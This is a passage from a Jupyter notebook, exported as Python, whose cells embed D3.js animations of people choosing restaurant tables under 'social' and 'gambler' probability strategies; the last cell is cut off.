= d3.select(\"div#social2\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg3.selectAll(\"line\")\\n            .data(d3.range(2))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg3.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=1)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"1/1\",\"0\",\"0\",\"0\",\"0\"]\\n        svg3.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg3.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed\")\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg3)\\n    }\\n    social2()\\n</script>')\n\n\n# In[7]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"social3()\" value=\"Run Animation\">\\n<div id=\"social3\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function social3() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#social3\").select(\"svg\").remove()\\n        var svg4 = d3.select(\"div#social3\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg4.selectAll(\"line\")\\n            .data(d3.range(2))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg4.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=1)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"2/2\",\"0\",\"0\",\"0\",\"0\"]\\n        svg4.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg4.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed\")\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,2,svg4)\\n    }\\n    social3()\\n</script>')\n\n\n# In[8]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"social4()\" value=\"Run Animation\">\\n<div id=\"social4\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function social4() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#social4\").select(\"svg\").remove()\\n        var svg5 = d3.select(\"div#social4\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg5.selectAll(\"line\")\\n            .data(d3.range(2))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg5.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=1)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"3/3\",\"0\",\"0\",\"0\",\"0\"]\\n        svg5.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg5.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed\")\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,3,svg5)\\n    }\\n    social4()\\n</script>')\n\n\n# In[9]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"social5()\" value=\"Run Animation\">\\n<div id=\"social5\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function social5() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#social5\").select(\"svg\").remove()\\n        var svg6 = d3.select(\"div#social5\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg6.selectAll(\"line\")\\n            .data(d3.range(2))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg6.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=1)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"4/4\",\"0\",\"0\",\"0\",\"0\"]\\n        svg6.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg6.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed\")\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,4,svg6)\\n    }\\n    social5()\\n</script>')\n\n\n# ### 2. The Gambler\n# \n# The Gambler is the person who only cares about the probabilites. Meaning, if there is two tables (xx), then they have a 50/50 choice, and they do not care at all about the people sitting there or not. \n\n# In[10]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"gambler1()\" value=\"Run Animation\">\\n<div id=\"gambler1\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function gambler1() {\\n        var width = 500\\n        var height = 270\\n        var margin = 35\\n        var radius = 200\\n        \\n        d3.select(\"div#gambler1\").select(\"svg\").remove()\\n        var svg7 = d3.select(\"div#gambler1\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg7.selectAll(\"line\")\\n            .data(d3.range(1))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg7.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=0)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"1/1\",\"0\",\"0\",\"0\",\"0\"]\\n        svg7.selectAll(\"text\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg7.append(\"text\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n    }\\n    gambler1()\\n</script>')\n\n\n# In[11]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"gambler2()\" value=\"Run Animation\">\\n<div id=\"gambler2\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function gambler2() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#gambler2\").select(\"svg\").remove()\\n        var svg8 = d3.select(\"div#gambler2\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg8.selectAll(\"line\")\\n            .data(d3.range(2))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg8.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=1)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"1/2\",\"1/2\",\"0\",\"0\",\"0\"]\\n        svg8.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg8.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed\")\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg8)\\n    }\\n    gambler2()\\n</script>')\n\n\n# In[12]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"gambler3()\" value=\"Run Animation\">\\n<div id=\"gambler3\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function gambler3() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#gambler3\").select(\"svg\").remove()\\n        var svg9 = d3.select(\"div#gambler3\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n        fractions = [\"1/3\",\"1/3\",\"1/3\",\"0\",\"0\"]\\n        svg9.selectAll(\"line\")\\n            .data(d3.range(3))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg9.selectAll(\"circle\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (+d!=0)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        \\n        svg9.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg9.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg9,0)\\n        var cx = ((radius) * Math.cos(x(1))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(1))) + (height-margin)\\n        addPeople(cx,cy,1,svg9,1)\\n    }\\n    gambler3()\\n</script>')\n\n\n# In[13]:\n\n\nget_ipython().run_cell_magic('html', '', 